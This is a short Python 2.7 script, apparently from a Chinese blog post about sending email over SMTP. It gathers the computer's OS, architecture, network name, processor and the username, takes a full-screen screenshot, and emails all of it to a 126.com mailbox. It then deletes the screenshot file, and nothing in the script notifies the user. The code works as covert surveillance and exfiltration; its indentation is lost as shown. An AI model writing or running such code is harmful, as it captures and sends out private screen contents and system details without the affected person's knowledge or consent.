# -*- coding: UTF-8 -*-
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.header import Header
from email.mime.image import MIMEImage
from PIL import ImageGrab
import os
import platform
import getpass
info='获取操作系统名称及版本号 : [{}]'.format(platform.platform())+'\n'
info+='获取操作系统的位数 : [{}]'.format(platform.architecture())+'\n'
info+='计算机类型 : [{}]'.format( platform.machine())+'\n'
info+='计算机的网络名称 : [{}]'.format(platform.node())+'\n'
info+='计算机处理器信息 : [{}]'.format(platform.processor())+'\n'
info+='获取操作系统类型 : [{}]'.format(platform.system())+'\n'
info+='qqlaunch\n'
print info
username=getpass.getuser()
def AutoSendMail():
im = ImageGrab.grab()
im.save('1.png')
msg = MIMEMultipart()
msg['From'] = "xxx@126.com"
msg['To'] = "xxx@126.com"
msg['Subject'] = username
txt = MIMEText(info,'plain','gb2312')
msg.attach(txt)
image = MIMEImage(open("1.png",'rb').read())
image.add_header('content-disposition', 'attachment',filename='1.png')
msg.attach(image)
server = smtplib.SMTP()
server.connect('smtp.126.com')
server.login('emailname@126.com','password')
server.sendmail(msg['From'],msg['To'],msg.as_string())
server.quit()
os.remove('1.png')
if __name__ == "__main__":
AutoSendMail()
python2.7+smtp发邮件
最新推荐文章于 2023-01-05 21:47:35 发布